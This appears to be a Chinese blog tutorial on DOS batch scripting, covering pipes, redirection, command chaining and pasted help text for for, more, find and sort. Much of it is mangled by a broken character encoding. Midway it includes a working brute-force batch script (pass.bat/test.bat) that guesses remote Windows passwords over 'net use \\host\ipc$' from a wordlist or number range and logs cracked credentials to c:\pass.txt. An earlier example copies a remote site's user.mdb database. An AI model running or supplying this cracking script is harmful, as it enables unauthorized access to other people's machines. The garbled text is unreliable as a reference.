不知不觉中第三章已经l束了。耳麦里传来的依然是陈晓东的《比我幸》,每隔4?2U就自动重播。虽然我不ƈ不很喜欢陈晓东,可这q不妨碍我喜Ƣ音乐,
喜欢q首描写的如此让人感慨的歌。请你一定要比我q福/才不枉费我狼狈退?再痛也不说苦/׃用抱歉来弥补/臛_我能成全你的q?误得你要比我幸?
/才值得我对自己D酷/我默默的倒数/最后再把你看清?看你眼里的我好馍p?慢慢被放逐。我如同一个因q老失色而拉不到客的老妓奻Il望的徘徊在曄?
煌的U灯区,用一脸的木然瞟一眼来来去ȝ人群Q默默的回忆自己q不光彩的过去,qL自己要面对的未来。直到看见那些幸依偎在一L情G们,才突焉
发现上帝的公qI和这U公q的D忍?
可以_批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介l,原因我已l说了,因ؓ我也是个菜,我也不太?---但我正在
学!你呢Q今天又M一图书馆Q淘金一样发C一本叫《DOSҎ件》的东东Q藏在一个角落里落满了灰Q五本摞一起就跟砖头一样厚了。大概翻了一下,?
面介l了很多比较底层和基的东西,虽然从思\上讲Q已l有点time
out了,很多东西已经基本没有利用的h|q就是信息时代的更新速度Q,但还是很值得看的。于是打下午淘q来Q放假回M再好好研I一番,q同那几?
不熟悉的命o一h熟了Q再l写q篇教程。我始终坚信Q没有最好只有更好?
但是很可惜,{到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of
service----人家q学期的工作l束了。于是回到宿舍打l写W四章,正在q时又得C?#8220;振奋人心”的消息:期末考试有一U挂了,而且是全?
W一----q一门整个班里就挂了我一个。郁L情A刚w间涌上心_整个世界仿佛都变成黑的了。食堂和卖部已l陆l关门,学校里的来越,q面q?
来的几个同学也都一w行李,忙碌着准备回家q年Q内心的孤寂和失落如同夏日里暴雨前的乌云Q迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一?
人在天桥上发呆,q能怎么Pq期末考试都应付不了的p|男h?
“N休息”旉好象长了点,呵呵Q上课了Q从q一章开始,详l介l批处理中常用的几个l合命o和管道命令。这些命令虽然不是必ȝQ如同爱一个h时不
一定非得每天去陪,但如果少了这个过E,事情׃变的复杂而不完美Q所以我认ؓ道命o和组合命令是批处理的调味剂,几乎是少不了的?
下面从管道命令讲赗常用的道命o有以下这些:|?gt;?gt;>
11、|
q个命o恐怕大家不是很陌生Q经常操作DOS的朋友都应该知道Q当我们查看一个命令的帮助Ӟ如果帮助信息比较长,一屏幕昄不完时DOSq不l我们时?
让我们看完一屏幕再翻到另一屏幕Q而是直接昄到帮助信息的最后。如在提C符下输入help回RӞ׃看到当前DOS版本所支持的所有非隐含命oQ但?
只能看到最后的那些命oQ前面的早就一闪而过了,如何解决q个问题Q看例十三:
help | more
回R后会发现昄满一屏幕后就自动暂停Q等候l显C其他信息。当按写回RӞ变成一个一个的出现Q按下空格键时一屏幕一屏幕昄Q直到全部显C完为止Q按其他键自动停止返回DOS?
Z么会出现上述现象Q答案很单,q里l合了管道命令|和DOS命omore来共同达到目的的。这里先单介l一下help命o和more命oQ对理解|命o的用法有很大帮助?
11.1、help命o。其实这个命令是不需要多说的Q但在上qC子中help命o的用法比较特D,直接在DOS提示W下输入help命oQ结果是?
DOS昄其所支持的所有非隐含命oQ而在其他地方用help命oQ如输入net help回RQ则是显Cnet命o的帮助信息?
11.2、more命o。可能很多朋友以前就没有接触q这个命令,q个命o在Linux下的用处非常q泛Q也是管道命令之一。大家可以找一比较长的文?
Qa.txtQ在DOS提示W下输入如下两个命oL较一下差别:more a.txt和type
a.txt。利用more命oQ可以达到逐屏或逐行昄输出的效果,而type命o只能一ơ把输出昄完,最后的l果是只能看到末尾的部分。在例十?
里,more命o的作用就是让输出的信息逐屏或逐行昄?
看到q里Q你是否已经能隐U感受到了|命o的作用了Q没错,它的作用Q就是把前一命o的输出当后一命o的输入来用的。在例十三里Q前一命o的输出,是
help命o执行后显C的DOS所支持的所有非隐含命oQ而这个结果刚好做了后一命omore的输入。所以例十三和下面的例十四是{效的:
help > a.txt
more a.txt
del a.txt
q里利用另一道命o>生成了一个a.txt文g作ؓ中间环节Q在用more命o查看a.txt文g后再删除a.txt文gQ例十三的所有操作是在内存中q行的,不生成文Ӟ。可以看出,正确使用道命o|可以带来事半功倍的效果?
l合例十三和例十四,以及前面的例九再体会一遍:|命o的作用,是让前一命o的输出当做后一命o的输入?
12?gt;?gt;>
q两个命令的效果从本质上来说都是一LQ他们都是输出重定向命oQ说的通俗一点,是把前面命令的输出写入C个文件中。这两个命o的唯一区别是,
>会清除掉原有文g中的内容后把新的内容写入原文Ӟ?gt;>只会另v一行追加新的内容到原文件中Q而不会改动其中的原有内容。例十五Q?
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
依次在DOS提示W下输入以上各行命oQ一行一个回车,在当前目录下生成一个a.bat文gQ里面的内容如下Q?
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
看到q里Q你得到了多信息?1、可以直接在DOS提示W下利用echo命o的写入功能编辑一个文本,而不需要专门的文本~辑工具Q?、管道命?
>?gt;>的区别如上所q。如果这里只?gt;命o来完成上面操作,最后也会生成一个a.batQ但里面的内容就只剩下最后一?
exit了。所?gt;?gt;>一般都联合h用,除非你重定向的输出只有一行,那么可以只?gt;了。结合例一再仔l体会输出重定向?
道命?gt;?gt;>的用法?
13?lt;?gt;&?lt;&
q三个命令也是管道命令,但它们一般不常用Q你只需要知道一下就ok了,当然如果想仔l研I的话,可以自己查一下资料?
<Q输入重定向命oQ从文g中读入命令输入,而不是从键盘中读入?
>&Q将一个句柄的输出写入到另一个句柄的输入中?
<&Q刚好和>&相反Q从一个句柄读取输入ƈ其写入到另一个句柄输Z?
关于q三个管道命令的举例Q在后面批处理脚本的_֦应用中还涉及到 下面介绍l合命oQ?amp;?amp;&、||
l合命oQ顾名思义Q就是可以把多个命ol合h当一个命令来执行。这在批处理脚本里是允许的,而且用的非常q泛。它的格式很?---既然现在已经?
了一个文件了Q那么这多个命op用这些组合命令连接v来放在同一?---因ؓ批处理认行不认命令数目。组合命令的作用Q就如同l爱人陪不是Q说一句是
_说十句也是说Q不一ơ把好话都说了出来,效果可能会好?---当然得排除一U特D情况:q些话是否有先后序Q有些话是否可以同时说。在批处理脚?
里也一P有些时候某些命令是不能同时执行的,后面l你说?
刚刚又送走了一个同学,人去楼空的感觉越来越明显Q望着I荡的床铺Q^日里喧闹的宿舍就只剩下我一个h了,整个世界只有那个qx令h非常讨厌的老鼠q时
候才昑־可爱h----只有它会陪着我在q不敢开灯的漆黑夜里----一个连期末考试都应付不了的p|男h。失败!我感到快要呼怸q来Q这U失败的?
力简直o我窒息,直让我的手接收不到大脑的信号Q简直让q篇未完成的教程夭折。但我能怪谁Q?
忙碌了一学期要过q了却挂了科Q失败;挂了U也倒Ş了,竟然一个h拖全班的后退Q失败中的失败;更失败的Q是在这最p的时候,竟然找不C个h可以?
诉;然而最p|的,是突然发现自q然如此脆弱,如此耐不住寂寞。不q这倒也解开了心中疑惑很久的一个问题:Z么明知道那段情是一个旋涡却q心甘情愿的
往里面?---q就是青春,风一Lq龄Q火一样不安的心。不再爱了,我不要再一个h的时候苦苦等待;不再׃Q我不要在你l的囚笼里怜悯的爱Q不再爱
了,我不要在别h的视UK如此可笑Q不再爱Q我不再爱。就塌下来Q我也要一个h扛着Q头不能低腰不能弯,不能喘息不能倾诉Q因然失败,但还是男人,
是男人就不能向困难低_
14?amp;
q可以说是最单的一个组合命令了Q它的作用是用来q接n个DOS命oQƈ把这些命令按序执行Q而不是否有命o执行p|。例十六Q?
copy a.txt b.txt /y & del a.txt
其实q句和move a.txt b.txt的效果是一LQ只不过前者是分了两步来进行的Q在后面q将涉及到具体用哪U方法的问题Q。这个命令很单,׃多费口舌了,唯一需要注意的一ҎQ这?amp;两边的命令是有执行顺序的Q从前往后执行?
15?amp;&
切记Q这里介l的几个命o都是l合命oQ所以他们前后都必须都有其他命oQ要不如何组合?Q。这个命令也不例外,它可以把它前后两个命令组合v来当一个命
令来用,?amp;命o不同之处在于Q它在从前往后依ơ执行被它连接的几个命o时会自动判断是否有某个命令执行出错,一旦发现出错后不l箋执行后面?
下的命o。这׃ؓ我们自动化完成一些Q务提供了方便。例十七Q?
dir 文g://1%/www/user.mdb && copy 文g://1%/www/user.mdb e:\backup\www
如果q程L存在user.mdbQ则copy到本地e:\backup\wwwQ如果不存在当然׃执行copy了。这句对搞网的朋友是否有点用呢Q呵c其实它和下面这句的作用是一LQ?
if exist 文g://1%/www/user.mdb copy 文g://1%/www/user.mdb e:\backup\www
至于你喜Ƣ用哪个随便了Q我没办法判断dir和if两个命o哪一个执行效率更高,所以不知道用哪个更好,呵呵?
你是否还记得“有些命o是不能同时执行的”Q你是否怿q句话?当然得相信,不信q你出道题Q把C盘和D盘的文g和文件夹列出到a.txt文g中。你?
如何来搞定这道题Q有朋友_q还不是很easy的问题吗Q同时执行两个dirQ然后把得到的结?gt;到a.txt里就ok了嘛Q看例十八:
dir c:\ && dir d:\ > a.txt
仔细研究一下这句执行后的结果,看看是否能达到题目的要求Q错了!q样执行后a.txt里只有D盘的信息Qؓ什么?因?amp;&命o?
>命o不能同时出现一个句子里Q批处理把一行看成一个句子)Q!l合命o&&的优先没有道命o>的优先高(自己ȝ
的,不妥的地方请指正Q!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ >
a.txtQ而ƈ不是如你想的q两部分Qdir c:\ && dir d:\?gt;
a.txt。要使用l合命o&&辑ֈ题目的要求,必须得这么写Q?
dir c:\ > a.txt && dir d:\ >> a.txt
q样Q依据优先高低QDOS把q句话分成以下两部分Qdir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特D,值得好好研究体会一下?
当然q里q可以利?amp;命oQ自己想一下道理哦Q:
dir c:\ > a.txt & dir d:\ >> a.txt
16、||
q个命o的用法和&&几乎一P但作用刚好和它相反:利用q种Ҏ在执行多条命令时Q当遇到一个执行正的命o退出此命ol合Q不再l执行下面的命o。题目:查看当前目录下是否有以s开头的exe文gQ如果有则退出。例十九Q?
@echo off
dir s*.exe || exit
其实q个例子是有破熾的,你看出来了吗Q其实很单,自己试试q道了嘛:如果存在那个exe文gQ就退出;如果不存在那个exe文gQ也退出!Z么?
因ؓ如果不存在那?exe文gQ则前一条命令dir
s*.exe执行肯定是不成功的,所以就l箋执行exitQ自然就退ZQ呵c那么如何解决题目给出的问题呢?看例二十Q?
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
q样执行的结果,p辑ֈ题目的要求,是否存在s*.exe出CU结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echoq写了?
l出两个更好研究优先U(同时也是更难理解Q的脚本Q仔l研I它们的区别Q以便彻底理解各U命令的优先U顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错QOKQ请看例二十一和例二十二:
例二十一Q?
@echo off
dir a.ttt /a & dir a.txt || exit
例二十二Q?
@echo off
dir a.ttt /a && dir a.txt || exit
警告Q患有心脑血病的朋友请不要研究以上两例Q否则轻者头大如斗,重者血爆裂。Q何h׃研究q两个脚本的区别而造成的Q何事故由自己或其合法监护责,与本人和本论坛无兟뀂特此警告!
有关道命o和组合命令就大概介绍到这里了Q不知道聪明的你是否理解Q呵呵,能理解就成天才了Q除非你以前已l掌握!千万别小看了q几个鬼命oQ大槌
是我的说Q简直就不是人学的东西!但我q是静下心来研究了一番,最后得出的l论如上所qͼ已经一点不剩的交给你了Q希望你好好收藏q消化吸Ӟ当然有错?
被你发现了,或者不完整的地方被你看出来了,误紧告诉我一壎ͼ
q几个命令真的把我的头都搞大了。在|上有一流传很q的批处理教E:“明批处理教程”Q虽然说的比较全面,但看h很不q瘾。在对for{命令介l时
׃个for /? > a.txt & start a.txt完事了(当然q一点上我不能说人家什么,毕竟我连for
/?都没l出Q,而对上述道命o和组合命令、以及这教E以后将讲到的用批处理操作注册表{方面根本没有介l。我之所以花整整一章来讲管道命令和l合?
令,是因Z们才是批处理的精华和灵魂Q能否正利用好q几个命令,是能否掌握批处理的前提条件。如for、set{DOS命o的问题,可以从DOS的角
度出发专门有针对性的学习Q但有关q几个命令的问题Q却是不Ҏ_N掌握的----他们之间的关pd复杂了!
下列代码存为bat文g
1、如果用字典破解Qpass.bat 字典文g路径及名U?L 用户?
2、如果用数字破解Qpass.bat 起始?步长 l束?L 用户?
密码破解出来之后Q存放于c:\pass.txt文g里面?
下列代码存为pass.bat文g
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解l果Q?>>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的?
:大棒槌是我的?
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的?
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
下列代码存为test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命o执行q回l果Qnet use成功q回0Q失败返?
:answer0
echo q程LQ?%1" >>c:\pass.txt
echo ?P"%3" >>c:\pass.txt
echo ?码:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
For
对一l文件中的每个文件运行指定的命o?
可以在批处理E序中或直接从命令提C符使用 for 命o?
要在批处理程序中使用 for 命oQ请使用以下语法Q?
for %%variable in (set) docommand [command-parameters]
要在命o提示W下使用 forQ请使用以下语法Q?
for %variable in (set) do command [command-parameters]
参数
%%variable ?%variable
代表可替换的参数。for 命o使用?set 中指定的每个文本字符串替?%%variableQ或 %variableQ,直到此命令(?
command-parameters 中指定)处理所有的文g为止。?%% variable 在批处理E序中执?for 命o。?%
variable 通过命o提示W执?for 命o。变量名区分大小写?
(set)
指定要用指定的命令处理的一个或多个文g或文本字W串。需要括受?
command
指定要在指定?set 所包含的每个文件上执行的命令?
command-parameters
指定要用于指定命令(如果指定的命令要使用M参数或开养I的Q何参数或开兟?
如果启用了命令扩展(Windows 2000 中的默认讄)Q将支持 for 命o的其他Ş式?
For 命o的其他Ş?
如果启用了命令扩展,支持如?for 命o的其他格式:
只限于目?
for /D [%% | %]variable in (set) docommand [command-parameters]
如果 set 包含通配W(* ??Q,则指定与目录名匹配,而不是文件名?
递归
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]
q入根目录树[drive:]pathQ在树的每个目录中执?for 语句。如果在 /R 后没有指定目录,则假定ؓ当前目录。如?set 只是一个句?(.) 字符Q则只列丄录树?
q代
for /L [%% | %]variable in (startQstepQend) do command [command-parameters]
集合是一pd按步镉K划分的、从头到数字。这P(1,1,5) 生成序?1 2 3 4 5Q?(5,-1,1) 生成序?(5 4 3 2 1)?
文g解析
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]
或者,如果出现 usebackq 选项Q?
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]
filenameset 参数指定一个或多个文g名称。在l箋?filenameset 中的下一个文件之前,每个文g都会被打开、读取和处理?
q程p取文件、分成独立的文本行及然后每行解析成零个或更多个令牌l成。然后用设|ؓ扑ֈ的一个或多个令牌字符串的变量|或多个|集合调用 for 循环体。默认情况下Q?F 传递每个文件每一行的W一个空白分隔符受?
跌I。通过指定可选的“options”参数可以覆盖默认的解析行为。这是一个引用字W串Q它包含一个或多个关键字以指定不同的解析选项。关键字是:
关键?说明
eol=c 指定行尾注释字符Q只一个字W)
skip=n 指定在文件的开头蟩q的行数?
delims=xxx 指定定界W集合。这替换空格和制表W的默认分隔W集?
tokens=x,y,m-n 指定o牌从每行传递到每个反复的正文。这导致分配其他变量名。m-n 格式是一个范_指定?mth ?nth
的o牌。如果在令牌 = 字符串中最后一个字W是星号Q则分配附加的变量Qƈ在解析最后一个o牌后在行上接收剩余的文本?
usebackq 指定右引号字符串作为命令执行,单引号字W串是文字字W串命oQ您可以使用双引号包?filenameset 中的文g名?
变量替换
此外Q已l增Z for 变量引用的替换修改程序。现在可以用下列可选的语法Q对于Q何变?IQ:
变量Q用修改程序) 说明
%~I 展开删除了周围的M引号 (") ?%I
%~fI ?%I 展开到完全合格的路径?
%~dI 只将 %I 展开到驱动器?
%~pI 只将 %I 展开到\?
%~nI 只将 %I 展开到文件名
%~xI 只将 %I 展开到文件扩展名
%~sI 展开路径以只包含短名U?
%~aI ?%I 展开到文件的文g属?
%~tI ?%I 展开到文件的日期/旉
%~zI ?%I 展开到文件大?
%~$PATH:I 搜烦 PATH 环境变量所列出的目?q将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名Q或搜烦后没有找到文Ӟ则此修改E序扩展ؓI字W串?
修改E序可以合ƈ以获得复杂的l果Q?
变量Q用合q的修改E序Q?说明
%~dpI 只将 %I 展开到驱动器号和路径
%~nxI 只将 %I 展开到文件名和扩展名
%~fsI ?%I 展开到只包含短名U的完整路径?
%~dp$PATH:I ?PATH 环境变量所列出的目录中搜烦 %IQƈ展开到第一个找到结果的驱动器号和\?
%~ftzaI ?%I 扩展C dir 怼的输
注意
在上q范例中Q?I ?PATH 可被其他有效值替换。通过有效?for 变量名终?%~ 语法?
使用大写变量名(例如 %IQ可以代码更具可读性,q且避免与不区分大小写的修改E序h
Shift
更改批处理文件中可替换参数的位置?
shift
启用命o扩展QWindows 2000 中的默认讄Q后Qshift 命o支持 /n 开养I该开关通知命o在第 n 个参数处开始更改,n 可以是从 0 ?8 的Q何一个倹{例如,
SHIFT /2
?%3 改ؓ %2Q将 %4 改ؓ %3 {等Q?%0 ?%1 保持不变?
{选器命o
{选器命o可以帮助您排序、查看和选择部分命o输出l果?
通过{选器命o传递信?
{选器命o可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命oQ?
more 命o每次昄一屏文件内Ҏ命o输出?
find 命o在文件和命o输出中搜索指定字W?
sort 命o按字母顺序排列文件和命o输出?
要将输入从文件发送到{选器命oQ请使用于W号 (<)。如果要{选器命o从其他命令获得输入,请用管?(|)?
使用 more 命o来控制屏q显C?
more 命o每次一屏地昄文g的内Ҏ命o输出。例如,下面?more 命o每次昄一?List.txt 文g的内容:
more < list.txt
信息昄一屏后Q会出现?#8220;More”。要l箋昄下一屏,h键盘上Q意键。要停止命o且不查看详细信息Q请?CTRL+C 键?
如果使用产生多屏输出的命令,more 十分有用。例如,假设定要查看盘的目录树。如?Windows 2000 不能目录在一屏内全部昄出来Q请使用带管道号 (|) ?more 命o?tree 命oQ如下例所C:
tree c:\ | more
tree 命o的第一屏输昄Q后跟词“More”。Windows 2000 暂停Q直到用h键盘上的L键ؓ止(PAUSE 键除外)?
使用 find 命o搜烦文本
find 命o在一个或多个文g中搜索指定文本。Windows 2000 昄每个包含该文本的行。find 命o可以用作{选器命o或者标准的
Windows 2000 命o。有兛_ find 用作标准?Windows 2000 命o的信息,请单?#8220;相关主题”列表中的 find?
要将 find 当作{选器命o使用Q请包含于W号 (<) 和搜索的文g名。当输入文g名时Q请C搜烦要区分大写。例如,下面的命令查找文?Trade.txt 中所有的“Pacific Rim”字符Ԍ
find "Pacific Rim" < trade.txt
要保?find 命o的输不是显C出,请用大于号 (>) 和要存储输出的文件名。例如,下面的命令查找文?Trade.txt 中所有的“Pacific Rim”字符Ԍq将l果保存?Nwtrade.txt 文g中:
find "Pacific Rim" < trade.txt > nwtrade.txt
Ҏ本文件排?
sort 命o按字母顺序排列文本文件或命o的输出。例如,可以使用以下命o?List.txt 文g的内容进行排序,q在屏幕上显C结果:
sort < list.txt
在此范例中,sort 命o?List.txt 文g的行q行排序q显C结果,但不更改文g。要保存 sort
命o的输不是显C出,请在命o中包含大于号 (>) 和文件名。例如,可以使用以下命o?List.txt
文g的行按字母顺序排序,q将l果存到 Alphlist.txt 文g中:
sort < list.txt > alphlist.txt
要排序命令的输出Q请键入后面带有道 (|) ?sort 命o的命令。例如,下面的命令对 find 命o的输出结果进行排序:
find "Jones" maillst.txt | sort
在键入该命oӞWindows 2000 按字母顺序列出在其中出现“Jones”的行?
带重定向W的合ƈ命o
可以筛选器命o、其他命令和文g名合q以生成自定义命令。例如,可以使用以下命o存储包含“LOG”字符串的文g?
dir /b | find "LOG" > loglist.txt
Windows 2000 通过 find qo器命令发?dir 命o的输出ƈ包含字W串“Log”的文件名存储?Loglist.txt 文g中。将l果存储为文件名列表Q如QA.log、Logdat.svd ?Mylog.batQ?
要在相同命o中用多个筛选器Q请使用道 (|) 分隔{选器。例如,下面的命令搜?C 盘上的每个目录以查找包含“Log”字符串的文g名,q且每次昄一屏:
dir c:\ /s /b | find "LOG" | more
因ؓ使用道 (|)QWindows 2000 通过 find 命o发?dir 命o的输出结果。find 命o只选择包含字符?#8220;Log”的文件名。more 命o每次一屏地昄 find 命o选择的文件名?
More
每次昄一个输出屏q。该命o通常用于查看长文件。可以单独用此命oQ或者用它控制其他命o的输出,例如 type 命o。当昄填充可用的查看区域时出?more 提示Q用户可以输入许多命令来控制查看文g其余部分的方式?
command name | more [/c] [/p] [/s] [/tn] [+n]
more [[/c] [/p] [/s] [/tn] [+n]] < [drive:][path] filename
more [/c] [/p] [/s] [/tn] [+n] [files]
参数
[drive:][path] filename
指定要显C的文g?
command name
指定显C其输出的命令?
/c
昄面前清除屏q?
/p
扩展换页W?
/s
多个空白行更改Z个空白行?
/tn
制表位更改?n 个空?
+n
昄?n 指定的行开始的W一个文件?
files
指定要显C的文g列表。用I格分隔文g名?
More 子命?
以下命o?more 提示 (-- More --) 下接受?
关键?操作
space 昄下一c?
ENTER 昄下一行?
F 昄下一个文件?
q 退出?
? 昄可用命o?
= 昄行号?
P n 昄以下 n 行?
S n 跌下面 n 行?
Find
在一个文件或多个文g中搜索指定的文本字符丌Ӏ?
当搜索到指定的文件后Qfind 显C出包含指定字符串的所有行?
find [/v] [/c] [/n] "string" [[drive:][path]filename[...]]
参数
/v
昄未包含指定字W串的所有行?
/c
只显C包含指定字W串的行数?
/n
文件行L于每行开头?
/I
指定搜烦不区分大写?
"string"
指定要搜索的字符l。必d string 的文本包括在引号中?
[drive:][path] filename
指定要在其中搜烦指定字符串的文g的位|和名称?
Sort
d输入、排序数据ƈ结果写到屏q、文件和其他讑֤上?
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters]
[[drive1:][path1]filename1] [/t [drive2:][path2]] [/o
[drive3:][path3]filename3]
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec
characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o
[drive3:][path3]filename3]
参数
/r
颠倒排序顺序,即从 Z ?A 排序Q然后从 9 ?0 排序?
/+n
指定字符位置?nQsort 在此处开始每ơ比较。例如,/+3 表示每次比较在每行的W三个字W开始。少?n 个字W的行在其他行之前排序。默认情况下Q比较在每行的第一个字W开始?
/m kilobytes
指定用于排序的主内存数量Q按千字?(KB) 计。用的内存最值L 160 KB。如果指定了内存大小Q则无论有多主内存可用Q指定的切数量Q但臛_ 160 KBQ的内存用于排序?
如果输入输出均ؓ文gQ在没有指定大小Ӟ默认最大内存大ؓ可用d存的 90Q,否则Z内存?45Q。默认设|通常会生最佳的性能?
/l locale
替代ql默认区域设|定义的字符排序序Q即在安?Windows 2000 旉择的语a?#8220;国家Q地区)”。目前,默认区域讄唯一的备用选项是“C”区域讄Q该区域讄比自然语a排序快,Ҏ二进制编码对字符排序?
/rec characters
指定记录或输入文件的行中的最多字W数Q默认gؓ 4096Q最大gؓ 65535Q?
[drive1:][path1]filename1
指定要排序的文g。如果没有指定文件名Q则Ҏ准输入排序。指定输入文件比同一文g作ؓ标准输入重定向速度快?
/t [drive2:][path2]
指定保留 sort 命o工作存储的目录\径,防止数据不能装入d存。默认ؓ使用pȝ临时目录?
/o [drive3:][path3]filename3
指定要存储排序后的输入的文g。如果没有指定,数据写入标准输出。指定输出文件比同一文g作ؓ标准输出重定向速度快?
]]> dos学习 http://m.tkk7.com/yjjlovewjf/archive/2008/01/22/177151.htmlwǒ愛伱--咑֩ wǒ愛伱--咑֩ Tue, 22 Jan 2008 14:57:00 GMT http://m.tkk7.com/yjjlovewjf/archive/2008/01/22/177151.html http://m.tkk7.com/yjjlovewjf/comments/177151.html http://m.tkk7.com/yjjlovewjf/archive/2008/01/22/177151.html#Feedback 0 http://m.tkk7.com/yjjlovewjf/comments/commentRss/177151.html http://m.tkk7.com/yjjlovewjf/services/trackbacks/177151.html W一?批处理基)
各位非常批处理的朋友?现在我们开始学?span onclick="tagshow(event)" class="t_tag">批处?/span>新手pd教学的第一?(适合没有~程l验的朋?
按照惯例,先讲一下什么是"批处?.思义,批处理就是把一Ҏ者说是一条条命o攑֜一个文本里,然后扚w执行!执行q?br />
一批命令的文g的扩展名?span onclick="tagshow(event)" class="t_tag">BAT或?span onclick="tagshow(event)" class="t_tag">CMD,把Q何一批命令放入在有这h展名的文仉,执行旉面的命o׃一条条的执行完,当然
我们q可以在其中加入一些逻辑判断的语?让里面的命o在满一定条件时执行指定的命?
了解了大概意思后,我们正式开始学?先看一个简单的例子!
@echo off
echo "Ƣ迎来到非常BAT!"
pause
把上面的3条命令保存ؓtest.bat或者test.cmd然后执行,他就会在屏幕上显CZ行话:"Ƣ迎来到非常BAT!hL键l? . ."
q就是一个简单批处理文g?我们来分析一?
q个批处理文件一共就用了2条命?"echo" ?pause" q有一个特D符?@"
@W号在批处理中的作用是关闭当前行命o的回?也就是不昄执行的是什么命?只显C命令的l果!
你可以执行下面这个批处理文g来理?保存?.bat或?.CMD
@echo 你好
echo 你好
@pause
echo命o的作用有两个,一个是在CMD上回显一行内??echo "Ƣ迎来到非常BAT!",q一个是关闭命o的回?echo off
echo off的作用就相当于在每条命o前面加一个@W号,q样所有的命o只会显C结果不昄命o.
我们在echo offq命令前加一个@W号是ؓ了不让echo offq条命o本n昄出来,让批处理更完?
pause命o是暂停的意?防止批处理执行完后直接退?执行pause命o后会自动 在CMD里显C?hL键l? . ."q样一行话!
从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特D意义的W号和一些完成指定功能的命ol合而成,那么
在批处理中有多少q样的特D符号和功能命o?我们现在来仔细了解一下一些最常用?
(以下内容来源|络,请各位仔l阅?好进入下节的实例说明)
批处理的常见命o
REM
ECHO
GOTO
CALL
PAUSE
IF
q有QFORQSETLOCALQSHIFTQ这几个命o比较难,不适合写在基础 ?以后说明!
批处理定义:思义Q批处理文g是将一pd命o按一定的序集合Z个可执行的文本文Ӟ其扩展名为BAT?br />
q些命ol称批处理命令?br />
介绍 命o
1、REM
REM是个注释命oQ一般用来给E序加上注解Q该命o后的内容?span onclick="tagshow(event)" class="t_tag">E序执行Ӟ不会被昄和执行?br />
例:REM q个命o是注释
q一句将不会被执?br />
2、ECHO
ECHO是一个回昑֑令,主要参数有OFF和ON。一般用ECHO MESSAGE来显CZ个特定的消息?br />
例:
Echo off
Rem 以上代表关闭回显Q就是不昄所执行的命令)
Echo q个是消息Qmessage)
Rem 以上代表昄“q就是消息(message)”q列字符
׃来看看执行结果:
3、GOTO
GOTO会点~程的朋友就会知道这是蟩转的意思?br />
在批处理中允总“:XXX”来构Z个标P然后用GOTO XXX直接来执行标号后的命令?br />
例:
:lable
REM 上面是名ؓLABEL的标?br />
DIR C:"
DIR D:"
GOTO lable
REM 以上E序跌{标号LABEL处l执?br />
׃来看看结果:
4、CALL
CALL命o可以在批处理执行q程中调用另一个批处理Q当另一个批处理执行完后Q再l箋执行原来的批处理
例:
创徏一?.BATQ内容如?br />
ECHO q就?的内?br />
创徏一?.BATQ内容如?br />
ECHO q是1的内?br />
CALL 2.BAT
ECHO 1?的内容全部显C完成?br />
执行1.BAT,来看看结果:
5、PAUSE
PAUSEQ玩游戏 的h都知道,暂停的意?br />
在这里就是停?span onclick="tagshow(event)" class="t_tag">pȝ命o的执行ƈ昄下面的内宏V?br />
例:
PAUSE
6、IF
IF 条g判断语句Q语法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
解释下:
[NOT]Q将q回l果取反|是“如果没有”的意?br />
ERRORLEVELQ?br />
是命令执行完成后q回的退出?br />
Number:
退出值的数字取D?~255Q判断时值的排列序应该由大到小。返回的值大于等于指定的值时Q条件成?br />
string1==string2Q?br />
string1和string2都ؓ字符的数据,英文内字W的大小写将看作不同Q这个条件中的等于号必须是两个(l对相等的意思)
条g相等后即执行后面的command
EXIST filename:
为文件或目录存在的意?br />
IF ERRORLEVELq个句子必须攑֜某一个命令的后面Q执行命令后由IF ERRORLEVEL 来判断命令的q回倹{?br />
例:
Q?Q?br />
IF [NOT] ERRORLEVEL number command
命令执行完后的q回值做出判?br />
echo off
dir z:
rem 如果退?span onclick="tagshow(event)" class="t_tag">代码?(不成功)px?处执?br />
IF ERRORLEVEL 1 goto 1
REM 如果退Z码ؓ0Q成功)px?处执?br />
IF ERRORLEVEL 0 goto 0
:0
echo 命o执行成功Q?br />
Rem E序执行完毕跌标题exit处退?br />
goto exit
:1
echo 命o执行p|Q?br />
Rem E序执行完毕跌标题exit处退?br />
goto exit
:exit
Rem q里是程序的出口
(2)IF string1==string2 command
当前变量的值做出判?br />
ECHO OFF
IF 1==2 goto no
Echo 变量相等!
goto exit
:no
echo 变量不相{?br />
goto exit
:exit
看看效果Q敲击这个命?.bat 数字
